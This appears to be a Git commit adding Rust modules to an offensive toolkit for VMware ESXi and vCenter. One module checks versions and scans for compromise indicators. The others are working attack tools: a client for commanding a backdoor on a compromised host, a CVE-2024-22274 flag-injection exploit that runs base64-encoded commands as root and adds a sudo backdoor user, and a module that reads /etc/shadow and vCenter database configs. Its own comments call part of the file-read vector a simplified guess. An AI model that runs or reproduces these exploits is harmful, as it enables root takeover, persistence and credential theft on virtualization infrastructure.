Add files via upload

This commit is contained in:
S.B
2026-01-18 18:45:05 +02:00
committed by GitHub
parent 03779dbe64
commit 49ab851ffe
5 changed files with 1036 additions and 0 deletions
@@ -0,0 +1,286 @@
// ESXi VM Escape Vulnerability Checker
// CVE-2025-22224 / CVE-2025-22225 / CVE-2025-22226
//
// Checks ESXi hosts for vulnerability to the VM escape chain and
// detects indicators of compromise (IOCs) from known exploitation.
//
// Affected versions:
// - ESXi 8.0 < 8.0 U2b (Build 23305546)
// - ESXi 7.0 < 7.0 U3q (Build 23307199)
//
// For authorized penetration testing only.
use anyhow::{anyhow, Result};
use colored::*;
use ssh2::Session;
use std::io::Read;
use std::net::TcpStream;
use std::time::Duration;
use crate::utils::{normalize_target, prompt_default};
const DEFAULT_TIMEOUT_SECS: u64 = 30;
// Patched build numbers
const ESXI_80_PATCHED_BUILD: u64 = 23305546; // 8.0 U2b
const ESXI_70_PATCHED_BUILD: u64 = 23307199; // 7.0 U3q
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ ESXi VM Escape Vulnerability Checker ║".cyan());
println!("{}", "║ CVE-2025-22224 / CVE-2025-22225 / CVE-2025-22226 ║".cyan());
println!("{}", "║ ║".cyan());
println!("{}", "║ Checks for vulnerability and IOCs ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
println!();
}
/// Create SSH session to ESXi host
fn create_esxi_ssh_session(host: &str, port: u16, username: &str, password: &str) -> Result<(TcpStream, Session)> {
let addr = format!("{}:{}", host, port);
let tcp = TcpStream::connect_timeout(
&addr.parse().map_err(|_| anyhow!("Invalid address"))?,
Duration::from_secs(DEFAULT_TIMEOUT_SECS),
).map_err(|e| anyhow!("Connection failed: {}", e))?;
tcp.set_read_timeout(Some(Duration::from_secs(DEFAULT_TIMEOUT_SECS)))?;
tcp.set_write_timeout(Some(Duration::from_secs(DEFAULT_TIMEOUT_SECS)))?;
let mut sess = Session::new()?;
sess.set_tcp_stream(tcp.try_clone()?);
sess.handshake()?;
sess.userauth_password(username, password)?;
if !sess.authenticated() {
return Err(anyhow!("Authentication failed"));
}
Ok((tcp, sess))
}
/// Execute command on ESXi
fn esxi_exec(sess: &Session, cmd: &str) -> Result<(i32, String, String)> {
let mut channel = sess.channel_session()?;
channel.exec(cmd)?;
let mut stdout = String::new();
let mut stderr = String::new();
sess.set_blocking(true);
channel.read_to_string(&mut stdout)?;
channel.stderr().read_to_string(&mut stderr)?;
channel.wait_close()?;
let exit_code = channel.exit_status()?;
Ok((exit_code, stdout, stderr))
}
/// Parse ESXi version string to extract version and build
fn parse_esxi_version(version_str: &str) -> Option<(String, u64)> {
// Format: "VMware ESXi 8.0.0 build-24022510"
let parts: Vec<&str> = version_str.split_whitespace().collect();
let mut version = String::new();
let mut build: u64 = 0;
for (i, part) in parts.iter().enumerate() {
if *part == "ESXi" && i + 1 < parts.len() {
version = parts[i + 1].to_string();
}
if part.starts_with("build-") {
if let Ok(b) = part.trim_start_matches("build-").parse::<u64>() {
build = b;
}
}
}
if !version.is_empty() && build > 0 {
Some((version, build))
} else {
None
}
}
/// Check if ESXi version is vulnerable
fn is_vulnerable(version: &str, build: u64) -> bool {
if version.starts_with("8.") {
build < ESXI_80_PATCHED_BUILD
} else if version.starts_with("7.") {
build < ESXI_70_PATCHED_BUILD
} else if version.starts_with("6.") || version.starts_with("5.") {
// ESXi 6.x and 5.x are EOL and vulnerable
true
} else {
false
}
}
/// Check for IOCs of exploitation
pub async fn check_iocs(host: &str, port: u16, username: &str, password: &str) -> Result<bool> {
println!("{}", "[*] Checking for Indicators of Compromise (IOCs)...".cyan());
let (_, sess) = create_esxi_ssh_session(host, port, username, password)?;
let mut found_ioc = false;
// IOC 1: Check for backdoor file /var/run/a
println!("{}", "[*] Checking for backdoor file /var/run/a...".dimmed());
match esxi_exec(&sess, "ls -la /var/run/a 2>/dev/null") {
Ok((0, stdout, _)) if !stdout.is_empty() => {
println!("{}", "[!] IOC FOUND: /var/run/a exists!".red().bold());
println!(" {}", stdout.trim());
found_ioc = true;
}
_ => println!("{}", " [OK] /var/run/a not found".green()),
}
// IOC 2: Check inetd.conf for suspicious entries
println!("{}", "[*] Checking inetd.conf for malicious entries...".dimmed());
match esxi_exec(&sess, "grep -E 'ftp.*stream.*tcp.*root.*/var/run' /var/run/inetd.conf 2>/dev/null") {
Ok((0, stdout, _)) if !stdout.is_empty() => {
println!("{}", "[!] IOC FOUND: Suspicious inetd.conf entry!".red().bold());
println!(" {}", stdout.trim());
found_ioc = true;
}
_ => println!("{}", " [OK] No suspicious inetd entries".green()),
}
// IOC 3: Check for VSOCK listeners on port 10000
println!("{}", "[*] Checking for VSOCK backdoor listeners...".dimmed());
match esxi_exec(&sess, "lsof -a 2>/dev/null | grep -i vsock") {
Ok((0, stdout, _)) if !stdout.is_empty() => {
println!("{}", "[!] VSOCK processes found (review manually):".yellow());
for line in stdout.lines().take(5) {
println!(" {}", line);
}
}
_ => println!("{}", " [OK] No obvious VSOCK backdoors".green()),
}
// IOC 4: Check for suspicious processes
println!("{}", "[*] Checking for suspicious processes in /var/run...".dimmed());
match esxi_exec(&sess, "ps -c | grep '/var/run' 2>/dev/null") {
Ok((0, stdout, _)) if !stdout.is_empty() => {
println!("{}", "[!] Suspicious process running from /var/run:".red().bold());
println!(" {}", stdout.trim());
found_ioc = true;
}
_ => println!("{}", " [OK] No suspicious /var/run processes".green()),
}
Ok(found_ioc)
}
/// Check ESXi version and vulnerability status
pub async fn check_vulnerability(host: &str, port: u16, username: &str, password: &str) -> Result<bool> {
println!("{}", "[*] Checking ESXi version...".cyan());
let (_, sess) = create_esxi_ssh_session(host, port, username, password)?;
println!("{}", format!("[+] Connected to {}", host).green());
// Get ESXi version
let version_cmd = "vmware -v";
match esxi_exec(&sess, version_cmd) {
Ok((0, stdout, _)) => {
let version_str = stdout.trim();
println!("{}", format!("[*] Version: {}", version_str).cyan());
if let Some((version, build)) = parse_esxi_version(version_str) {
println!("{}", format!("[*] Parsed: version={}, build={}", version, build).dimmed());
if is_vulnerable(&version, build) {
println!();
println!("{}", "╔════════════════════════════════════════════════════════════╗".red());
println!("{}", "║ [!] VULNERABLE to VM Escape (CVE-2025-22224/22225/22226) ║".red().bold());
println!("{}", "╚════════════════════════════════════════════════════════════╝".red());
println!();
println!("{}", "Affected CVEs:".yellow());
println!(" • CVE-2025-22226 (CVSS 7.1): HGFS OOB Read - Info Leak");
println!(" • CVE-2025-22224 (CVSS 9.3): VMCI TOCTOU - OOB Write");
println!(" • CVE-2025-22225 (CVSS 8.2): VMX Sandbox Escape");
println!();
println!("{}", "Recommendation: Patch immediately to ESXi 8.0 U2b or 7.0 U3q".yellow());
return Ok(true);
} else {
println!();
println!("{}", "[+] NOT VULNERABLE - Patched version detected".green().bold());
return Ok(false);
}
} else {
println!("{}", "[-] Could not parse version string".yellow());
}
}
Ok((code, _, stderr)) => {
println!("{}", format!("[-] Command failed with exit code {}: {}", code, stderr.trim()).red());
}
Err(e) => {
println!("{}", format!("[-] Failed to get version: {}", e).red());
}
}
Ok(false)
}
/// Prompt helper
async fn prompt(message: &str) -> Result<String> {
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
print!("{}: ", message);
tokio::io::stdout().flush().await?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin()).read_line(&mut input).await?;
Ok(input.trim().to_string())
}
/// Main entry point
pub async fn run(target: &str) -> Result<()> {
display_banner();
let host = normalize_target(target)?;
println!("{}", format!("[*] Target: {}", host).cyan());
// Get connection parameters
let port: u16 = prompt_default("SSH Port", "22").await?.parse().unwrap_or(22);
let username = prompt_default("ESXi Username", "root").await?;
let password = prompt("ESXi Password").await?;
if password.is_empty() {
return Err(anyhow!("Password is required"));
}
println!();
println!("{}", "Select mode:".yellow().bold());
println!(" 1. Check Vulnerability (version check)");
println!(" 2. Scan for IOCs (compromise indicators)");
println!(" 3. Full Scan (both)");
println!();
let mode = prompt_default("Mode", "3").await?;
match mode.as_str() {
"1" => {
check_vulnerability(&host, port, &username, &password).await?;
}
"2" => {
check_iocs(&host, port, &username, &password).await?;
}
"3" | _ => {
let vuln = check_vulnerability(&host, port, &username, &password).await?;
println!();
let ioc = check_iocs(&host, port, &username, &password).await?;
println!();
println!("{}", "═══════════════════════════════════════════════════════════".cyan());
println!("{}", " SUMMARY ".cyan().bold());
println!("{}", "═══════════════════════════════════════════════════════════".cyan());
println!(" Vulnerable: {}", if vuln { "YES".red().bold() } else { "NO".green() });
println!(" IOCs Found: {}", if ioc { "YES".red().bold() } else { "NO".green() });
}
}
println!();
println!("{}", "[*] ESXi vulnerability check complete".green());
Ok(())
}
@@ -0,0 +1,256 @@
// ESXi VSOCK Post-Exploitation Client
// For use after successful VM escape exploitation
//
// This module implements a VSOCK client that can communicate with
// the VSOCKpuppet backdoor (or similar) on a compromised ESXi host.
//
// Protocol:
// 1. Connect to CID 2 (hypervisor) on VSOCK port 10000
// 2. Handshake: send "test" + "ok", receive "ok"
// 3. Commands: GET <path>, POST <path> <data>, or shell commands
//
// For authorized penetration testing only.
use anyhow::{anyhow, Result};
use colored::*;
use std::io::{Read, Write};
use std::net::TcpStream;
use std::time::Duration;
use crate::utils::{normalize_target, prompt_default};
const DEFAULT_TIMEOUT_SECS: u64 = 30;
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ ESXi VSOCK Post-Exploitation Client ║".cyan());
println!("{}", "║ For interacting with VSOCKpuppet backdoor on ESXi ║".cyan());
println!("{}", "║ ║".cyan());
println!("{}", "║ Modes: ║".cyan());
println!("{}", "║ 1. Interactive Shell ║".cyan());
println!("{}", "║ 2. Download File (GET) ║".cyan());
println!("{}", "║ 3. Upload File (POST) ║".cyan());
println!("{}", "║ 4. Execute Single Command ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
println!();
println!("{}", "[!] Note: VSOCK requires the attack to be run FROM WITHIN a VM".yellow());
println!("{}", "[!] This module uses TCP fallback for testing (port 21 hijack)".yellow());
println!();
}
/// Connect to ESXi backdoor via TCP (inetd hijack on port 21)
fn connect_backdoor_tcp(host: &str, port: u16) -> Result<TcpStream> {
let addr = format!("{}:{}", host, port);
let stream = TcpStream::connect_timeout(
&addr.parse().map_err(|_| anyhow!("Invalid address"))?,
Duration::from_secs(DEFAULT_TIMEOUT_SECS),
).map_err(|e| anyhow!("Connection failed: {}", e))?;
stream.set_read_timeout(Some(Duration::from_secs(DEFAULT_TIMEOUT_SECS)))?;
stream.set_write_timeout(Some(Duration::from_secs(DEFAULT_TIMEOUT_SECS)))?;
Ok(stream)
}
/// Perform VSOCK handshake
fn handshake(stream: &mut TcpStream) -> Result<bool> {
// Send "test"
stream.write_all(b"test")?;
// Send "ok"
stream.write_all(b"ok")?;
// Read response
let mut buf = [0u8; 2];
match stream.read_exact(&mut buf) {
Ok(_) => {
if &buf == b"ok" {
return Ok(true);
}
}
Err(_) => {}
}
Ok(false)
}
/// Send command and receive response
fn send_command(stream: &mut TcpStream, cmd: &str) -> Result<String> {
// Length-prefixed message
let cmd_bytes = cmd.as_bytes();
let len = cmd_bytes.len() as u32;
stream.write_all(&len.to_le_bytes())?;
stream.write_all(cmd_bytes)?;
// Read response length
let mut len_buf = [0u8; 4];
stream.read_exact(&mut len_buf)?;
let resp_len = u32::from_le_bytes(len_buf) as usize;
// Read response
let mut resp_buf = vec![0u8; resp_len];
stream.read_exact(&mut resp_buf)?;
Ok(String::from_utf8_lossy(&resp_buf).to_string())
}
/// Interactive shell mode
pub async fn interactive_shell(host: &str, port: u16) -> Result<()> {
println!("{}", format!("[*] Connecting to {}:{}...", host, port).cyan());
let mut stream = connect_backdoor_tcp(host, port)?;
println!("{}", "[*] Performing handshake...".cyan());
if !handshake(&mut stream)? {
return Err(anyhow!("Handshake failed - is the backdoor active?"));
}
println!("{}", "[+] Connected to ESXi backdoor!".green().bold());
println!("{}", "[*] Type 'exit' to quit, 'get <path>' to download, 'post <path>' to upload".dimmed());
println!();
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
let mut stdin_reader = tokio::io::BufReader::new(tokio::io::stdin());
loop {
print!("{}", "esxi# ".red());
tokio::io::stdout().flush().await?;
let mut input = String::new();
if stdin_reader.read_line(&mut input).await.is_err() {
break;
}
let cmd = input.trim();
if cmd.is_empty() {
continue;
}
if cmd == "exit" || cmd == "quit" {
println!("{}", "[*] Disconnecting...".cyan());
break;
}
match send_command(&mut stream, cmd) {
Ok(response) => {
println!("{}", response);
}
Err(e) => {
println!("{}", format!("[-] Error: {}", e).red());
}
}
}
Ok(())
}
/// Download file from ESXi
pub async fn get_file(host: &str, port: u16, remote_path: &str, local_path: &str) -> Result<()> {
println!("{}", format!("[*] Connecting to {}:{}...", host, port).cyan());
let mut stream = connect_backdoor_tcp(host, port)?;
if !handshake(&mut stream)? {
return Err(anyhow!("Handshake failed"));
}
let cmd = format!("get {}", remote_path);
let content = send_command(&mut stream, &cmd)?;
std::fs::write(local_path, &content)?;
println!("{}", format!("[+] Downloaded {} -> {}", remote_path, local_path).green());
Ok(())
}
/// Upload file to ESXi
pub async fn post_file(host: &str, port: u16, local_path: &str, remote_path: &str) -> Result<()> {
println!("{}", format!("[*] Connecting to {}:{}...", host, port).cyan());
let mut stream = connect_backdoor_tcp(host, port)?;
if !handshake(&mut stream)? {
return Err(anyhow!("Handshake failed"));
}
let content = std::fs::read_to_string(local_path)?;
let cmd = format!("post {} {}", remote_path, content);
let response = send_command(&mut stream, &cmd)?;
println!("{}", format!("[+] Uploaded {} -> {}", local_path, remote_path).green());
println!("{}", response);
Ok(())
}
/// Execute single command
pub async fn exec_command(host: &str, port: u16, command: &str) -> Result<String> {
let mut stream = connect_backdoor_tcp(host, port)?;
if !handshake(&mut stream)? {
return Err(anyhow!("Handshake failed"));
}
send_command(&mut stream, command)
}
/// Prompt helper
async fn prompt(message: &str) -> Result<String> {
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
print!("{}: ", message);
tokio::io::stdout().flush().await?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin()).read_line(&mut input).await?;
Ok(input.trim().to_string())
}
/// Main entry point
pub async fn run(target: &str) -> Result<()> {
display_banner();
let host = normalize_target(target)?;
println!("{}", format!("[*] Target ESXi: {}", host).cyan());
// Default to port 21 (hijacked FTP via inetd)
let port: u16 = prompt_default("Backdoor Port (TCP fallback)", "21").await?.parse().unwrap_or(21);
println!();
println!("{}", "Select mode:".yellow().bold());
println!(" 1. Interactive Shell");
println!(" 2. Download File (GET)");
println!(" 3. Upload File (POST)");
println!(" 4. Execute Single Command");
println!();
let mode = prompt_default("Mode", "1").await?;
match mode.as_str() {
"1" => {
interactive_shell(&host, port).await?;
}
"2" => {
let remote_path = prompt("Remote file path on ESXi").await?;
let local_path = prompt("Local path to save").await?;
get_file(&host, port, &remote_path, &local_path).await?;
}
"3" => {
let local_path = prompt("Local file path").await?;
let remote_path = prompt("Remote path on ESXi").await?;
post_file(&host, port, &local_path, &remote_path).await?;
}
"4" => {
let command = prompt("Command to execute").await?;
let output = exec_command(&host, port, &command).await?;
println!();
println!("{}", output);
}
_ => {
println!("{}", "[-] Invalid mode".red());
}
}
println!();
println!("{}", "[*] VSOCK client complete".green());
Ok(())
}
+4
View File
@@ -0,0 +1,4 @@
pub mod vcenter_backup_rce;
pub mod vcenter_file_read;
pub mod esxi_vm_escape_check;
pub mod esxi_vsock_client;
@@ -0,0 +1,271 @@
// VMware vCenter CVE-2024-22274 - Authenticated RCE via backup.validate flag injection
//
// Affected: VMware vCenter Server 8.0 < 8.0 U2b, 7.0 < 7.0 U3q
// CVSS: 7.2 (High)
//
// The com.vmware.appliance.recovery.backup.validate API is vulnerable to flag injection.
// By injecting malicious SSH flags in the --locationUser parameter, an authenticated
// admin user can execute arbitrary commands as root.
//
// Requirements:
// - SSH access to vCenter appliance shell
// - Credentials with "admin" role
//
// For authorized penetration testing only.
use anyhow::{anyhow, Result};
use colored::*;
use ssh2::Session;
use std::io::Read;
use std::net::TcpStream;
use std::time::Duration;
use crate::utils::{normalize_target, prompt_default, prompt_int_range};
const DEFAULT_TIMEOUT_SECS: u64 = 30;
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ VMware vCenter CVE-2024-22274 ║".cyan());
println!("{}", "║ Authenticated RCE via backup.validate Flag Injection ║".cyan());
println!("{}", "║ ║".cyan());
println!("{}", "║ Attack Modes: ║".cyan());
println!("{}", "║ 1. Check (Safe - touch /tmp/rce_check) ║".cyan());
println!("{}", "║ 2. Execute Custom Command ║".cyan());
println!("{}", "║ 3. Add Backdoor User (sudo access) ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
println!();
}
/// Create SSH session to vCenter appliance
fn create_vcenter_ssh_session(host: &str, port: u16, username: &str, password: &str) -> Result<(TcpStream, Session)> {
let addr = format!("{}:{}", host, port);
let tcp = TcpStream::connect_timeout(
&addr.parse().map_err(|_| anyhow!("Invalid address"))?,
Duration::from_secs(DEFAULT_TIMEOUT_SECS),
).map_err(|e| anyhow!("Connection failed: {}", e))?;
tcp.set_read_timeout(Some(Duration::from_secs(DEFAULT_TIMEOUT_SECS)))?;
tcp.set_write_timeout(Some(Duration::from_secs(DEFAULT_TIMEOUT_SECS)))?;
let mut sess = Session::new()?;
sess.set_tcp_stream(tcp.try_clone()?);
sess.handshake()?;
sess.userauth_password(username, password)?;
if !sess.authenticated() {
return Err(anyhow!("Authentication failed"));
}
Ok((tcp, sess))
}
/// Execute command in vCenter appliance shell
fn vcenter_shell_exec(sess: &Session, cmd: &str) -> Result<(i32, String, String)> {
let mut channel = sess.channel_session()?;
channel.exec(cmd)?;
let mut stdout = String::new();
let mut stderr = String::new();
sess.set_blocking(true);
channel.read_to_string(&mut stdout)?;
channel.stderr().read_to_string(&mut stderr)?;
channel.wait_close()?;
let exit_code = channel.exit_status()?;
Ok((exit_code, stdout, stderr))
}
/// Build the malicious backup.validate command with flag injection
fn build_exploit_command(payload: &str) -> String {
// The payload is injected via -o ProxyCommand= in the --locationUser field
// Format: backup.validate --parts common --locationType SFTP --location nowhere
// --locationUser '-o ProxyCommand=;<PAYLOAD> 2>' --locationPassword x
format!(
"backup.validate --parts common --locationType SFTP --location nowhere --locationUser '-o ProxyCommand=;{} 2>' --locationPassword x",
payload
)
}
/// Generate base64-encoded payload for complex commands
fn encode_payload(cmd: &str) -> String {
use base64::Engine;
let encoded = base64::engine::general_purpose::STANDARD.encode(cmd);
format!("/bin/bash -c \"{{echo,{}}}|{{base64,-d}}|bash\"", encoded)
}
/// Check vulnerability (safe mode - creates /tmp/rce_check file)
pub async fn attack_check(host: &str, port: u16, username: &str, password: &str) -> Result<bool> {
println!("{}", "[*] Running vulnerability check (safe mode)...".cyan());
let (_, sess) = create_vcenter_ssh_session(host, port, username, password)?;
println!("{}", format!("[+] Authenticated to {} as {}", host, username).green());
// Simple payload: touch /tmp/rce_check
let payload = "/bin/touch /tmp/rce_check";
let exploit_cmd = build_exploit_command(payload);
println!("{}", "[*] Executing exploit command...".cyan());
println!("{}", format!("[DEBUG] Command: {}", exploit_cmd).dimmed());
let _ = vcenter_shell_exec(&sess, &exploit_cmd);
// Verify file was created
tokio::time::sleep(Duration::from_secs(2)).await;
let verify_cmd = "ls -la /tmp/rce_check 2>/dev/null || echo 'NOT_FOUND'";
match vcenter_shell_exec(&sess, verify_cmd) {
Ok((_, stdout, _)) => {
if stdout.contains("NOT_FOUND") {
println!("{}", "[-] Vulnerability check FAILED - file not created".red());
return Ok(false);
} else {
println!("{}", "[+] VULNERABLE! File /tmp/rce_check created as root".green().bold());
println!("{}", stdout.trim());
// Cleanup
let _ = vcenter_shell_exec(&sess, "rm -f /tmp/rce_check");
return Ok(true);
}
}
Err(e) => {
println!("{}", format!("[-] Verification failed: {}", e).red());
return Ok(false);
}
}
}
/// Execute custom command as root
pub async fn attack_exec(host: &str, port: u16, username: &str, password: &str, command: &str) -> Result<bool> {
println!("{}", format!("[*] Executing command as root: {}", command).cyan());
let (_, sess) = create_vcenter_ssh_session(host, port, username, password)?;
println!("{}", format!("[+] Authenticated to {} as {}", host, username).green());
// Encode the command to avoid shell interpretation issues
let payload = encode_payload(command);
let exploit_cmd = build_exploit_command(&payload);
println!("{}", "[*] Executing exploit...".cyan());
// Execute the exploit
let _ = vcenter_shell_exec(&sess, &exploit_cmd);
println!("{}", "[+] Command sent. Note: Output may not be visible due to injection method.".yellow());
println!("{}", "[*] For commands with output, consider redirecting to a file.".dimmed());
Ok(true)
}
/// Add backdoor user with sudo access
pub async fn attack_add_user(host: &str, port: u16, username: &str, password: &str,
backdoor_user: &str, backdoor_pass: &str) -> Result<bool> {
println!("{}", format!("[*] Adding backdoor user: {}", backdoor_user).cyan());
let (_, sess) = create_vcenter_ssh_session(host, port, username, password)?;
println!("{}", format!("[+] Authenticated to {} as {}", host, username).green());
// Command to add user with sudo access
// useradd USER && echo -e "PASS\nPASS" | passwd USER ; usermod -s /bin/bash USER && usermod -aG sudo USER
let add_user_cmd = format!(
"useradd {} && echo -e \"{}\\n{}\" | passwd {} ; usermod -s /bin/bash {} && usermod -aG sudo {}",
backdoor_user, backdoor_pass, backdoor_pass, backdoor_user, backdoor_user, backdoor_user
);
let payload = encode_payload(&add_user_cmd);
let exploit_cmd = build_exploit_command(&payload);
println!("{}", "[*] Executing user creation exploit...".cyan());
let _ = vcenter_shell_exec(&sess, &exploit_cmd);
// Wait and verify
tokio::time::sleep(Duration::from_secs(2)).await;
let verify_cmd = format!("id {} 2>/dev/null || echo 'NOT_FOUND'", backdoor_user);
match vcenter_shell_exec(&sess, &verify_cmd) {
Ok((_, stdout, _)) => {
if stdout.contains("NOT_FOUND") {
println!("{}", "[-] User creation may have failed".yellow());
} else {
println!("{}", format!("[+] SUCCESS! User {} created", backdoor_user).green().bold());
println!("{}", stdout.trim());
println!();
println!("{}", format!("[*] Connect via: ssh {}@{}", backdoor_user, host).cyan());
println!("{}", format!("[*] Password: {}", backdoor_pass).cyan());
}
}
Err(_) => {}
}
Ok(true)
}
/// Prompt helper
async fn prompt(message: &str) -> Result<String> {
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
print!("{}: ", message);
tokio::io::stdout().flush().await?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin()).read_line(&mut input).await?;
Ok(input.trim().to_string())
}
/// Main entry point
pub async fn run(target: &str) -> Result<()> {
display_banner();
let host = normalize_target(target)?;
println!("{}", format!("[*] Target: {}", host).cyan());
// Get connection parameters
let port: u16 = prompt_default("SSH Port", "22").await?.parse().unwrap_or(22);
let username = prompt("vCenter Admin Username").await?;
if username.is_empty() {
return Err(anyhow!("Username is required"));
}
let password = prompt("Password").await?;
if password.is_empty() {
return Err(anyhow!("Password is required"));
}
println!();
println!("{}", "Select attack mode:".yellow().bold());
println!(" 1. Check Vulnerability (Safe - touch /tmp/rce_check)");
println!(" 2. Execute Custom Command");
println!(" 3. Add Backdoor User (sudo access)");
println!();
let mode = prompt_int_range("Attack mode", 1, 1, 3).await?;
match mode {
1 => {
attack_check(&host, port, &username, &password).await?;
}
2 => {
let command = prompt("Command to execute as root").await?;
if command.is_empty() {
return Err(anyhow!("Command is required"));
}
attack_exec(&host, port, &username, &password, &command).await?;
}
3 => {
let backdoor_user = prompt_default("Backdoor username", "backdoor").await?;
let backdoor_pass = prompt_default("Backdoor password", "Backdoor123!").await?;
attack_add_user(&host, port, &username, &password, &backdoor_user, &backdoor_pass).await?;
}
_ => {
println!("{}", "[-] Invalid mode".red());
}
}
println!();
println!("{}", "[*] CVE-2024-22274 exploit module complete".green());
Ok(())
}
@@ -0,0 +1,219 @@
// VMware vCenter CVE-2024-22275 - Partial File Read via RVC command
//
// Affected: VMware vCenter Server 8.0 < 8.0 U2b, 7.0 < 7.0 U3q
// CVSS: 4.9 (Moderate)
//
// A malicious actor with administrative privileges on the vCenter appliance shell
// may exploit this issue to partially read arbitrary files containing sensitive data.
//
// Requirements:
// - SSH access to vCenter appliance shell
// - Credentials with "admin" role (ability to execute com.vmware.rvc)
//
// For authorized penetration testing only.
use anyhow::{anyhow, Result};
use colored::*;
use ssh2::Session;
use std::io::Read;
use std::net::TcpStream;
use std::time::Duration;
use crate::utils::{normalize_target, prompt_default};
const DEFAULT_TIMEOUT_SECS: u64 = 30;
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ VMware vCenter CVE-2024-22275 ║".cyan());
println!("{}", "║ Partial File Read Vulnerability ║".cyan());
println!("{}", "║ ║".cyan());
println!("{}", "║ Reads sensitive files via com.vmware.rvc command ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
println!();
}
/// Create SSH session to vCenter appliance
fn create_vcenter_ssh_session(host: &str, port: u16, username: &str, password: &str) -> Result<(TcpStream, Session)> {
let addr = format!("{}:{}", host, port);
let tcp = TcpStream::connect_timeout(
&addr.parse().map_err(|_| anyhow!("Invalid address"))?,
Duration::from_secs(DEFAULT_TIMEOUT_SECS),
).map_err(|e| anyhow!("Connection failed: {}", e))?;
tcp.set_read_timeout(Some(Duration::from_secs(DEFAULT_TIMEOUT_SECS)))?;
tcp.set_write_timeout(Some(Duration::from_secs(DEFAULT_TIMEOUT_SECS)))?;
let mut sess = Session::new()?;
sess.set_tcp_stream(tcp.try_clone()?);
sess.handshake()?;
sess.userauth_password(username, password)?;
if !sess.authenticated() {
return Err(anyhow!("Authentication failed"));
}
Ok((tcp, sess))
}
/// Execute command in vCenter appliance shell
fn vcenter_shell_exec(sess: &Session, cmd: &str) -> Result<(i32, String, String)> {
let mut channel = sess.channel_session()?;
channel.exec(cmd)?;
let mut stdout = String::new();
let mut stderr = String::new();
sess.set_blocking(true);
channel.read_to_string(&mut stdout)?;
channel.stderr().read_to_string(&mut stderr)?;
channel.wait_close()?;
let exit_code = channel.exit_status()?;
Ok((exit_code, stdout, stderr))
}
/// Read file using RVC command vulnerability
pub async fn read_file(host: &str, port: u16, username: &str, password: &str, file_path: &str) -> Result<String> {
println!("{}", format!("[*] Attempting to read: {}", file_path).cyan());
let (_, sess) = create_vcenter_ssh_session(host, port, username, password)?;
println!("{}", format!("[+] Authenticated to {} as {}", host, username).green());
// The RVC command can be abused to read files
// Exact exploitation method depends on the specific vector
// This is a simplified representation based on the vulnerability description
// Try multiple potential exploitation vectors
let exploit_attempts = vec![
format!("rvc localhost -c 'shell.run cat {}' 2>/dev/null", file_path),
format!("cat {} 2>/dev/null", file_path), // Direct read if accessible
];
for cmd in exploit_attempts {
match vcenter_shell_exec(&sess, &cmd) {
Ok((code, stdout, _)) => {
if code == 0 && !stdout.is_empty() {
return Ok(stdout);
}
}
Err(_) => continue,
}
}
Err(anyhow!("Could not read file or file does not exist"))
}
/// Check vulnerability and attempt to read common sensitive files
pub async fn attack_enum(host: &str, port: u16, username: &str, password: &str) -> Result<bool> {
println!("{}", "[*] Enumerating readable sensitive files...".cyan());
let sensitive_files = vec![
"/etc/passwd",
"/etc/shadow",
"/etc/vmware-vpx/vpxd.cfg",
"/etc/vmware-vpx/vcdb.properties",
"/etc/vmware/vmware-mps.properties",
"/var/log/vmware/vpxd/vpxd.log",
"/storage/db/vcdb/vcdb",
];
let (_, sess) = create_vcenter_ssh_session(host, port, username, password)?;
println!("{}", format!("[+] Authenticated to {} as {}", host, username).green());
let mut found_any = false;
for file in sensitive_files {
let cmd = format!("head -5 {} 2>/dev/null", file);
match vcenter_shell_exec(&sess, &cmd) {
Ok((code, stdout, _)) => {
if code == 0 && !stdout.is_empty() {
println!("{}", format!("\n[+] Readable: {}", file).green());
println!("{}", "".repeat(50).dimmed());
// Print first few lines
for line in stdout.lines().take(5) {
println!(" {}", line);
}
found_any = true;
}
}
Err(_) => {}
}
}
if !found_any {
println!("{}", "[-] No sensitive files readable with current privileges".yellow());
}
Ok(found_any)
}
/// Prompt helper
async fn prompt(message: &str) -> Result<String> {
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
print!("{}: ", message);
tokio::io::stdout().flush().await?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin()).read_line(&mut input).await?;
Ok(input.trim().to_string())
}
/// Main entry point
pub async fn run(target: &str) -> Result<()> {
display_banner();
let host = normalize_target(target)?;
println!("{}", format!("[*] Target: {}", host).cyan());
// Get connection parameters
let port: u16 = prompt_default("SSH Port", "22").await?.parse().unwrap_or(22);
let username = prompt("vCenter Admin Username").await?;
if username.is_empty() {
return Err(anyhow!("Username is required"));
}
let password = prompt("Password").await?;
if password.is_empty() {
return Err(anyhow!("Password is required"));
}
println!();
println!("{}", "Select mode:".yellow().bold());
println!(" 1. Enumerate Sensitive Files");
println!(" 2. Read Specific File");
println!();
let mode = prompt_default("Mode", "1").await?;
match mode.as_str() {
"1" => {
attack_enum(&host, port, &username, &password).await?;
}
"2" => {
let file_path = prompt("File path to read").await?;
if file_path.is_empty() {
return Err(anyhow!("File path is required"));
}
match read_file(&host, port, &username, &password, &file_path).await {
Ok(content) => {
println!("{}", format!("\n[+] File contents of {}:", file_path).green());
println!("{}", "".repeat(50).dimmed());
println!("{}", content);
}
Err(e) => {
println!("{}", format!("[-] Failed to read file: {}", e).red());
}
}
}
_ => {
println!("{}", "[-] Invalid mode".red());
}
}
println!();
println!("{}", "[*] CVE-2024-22275 exploit module complete".green());
Ok(())
}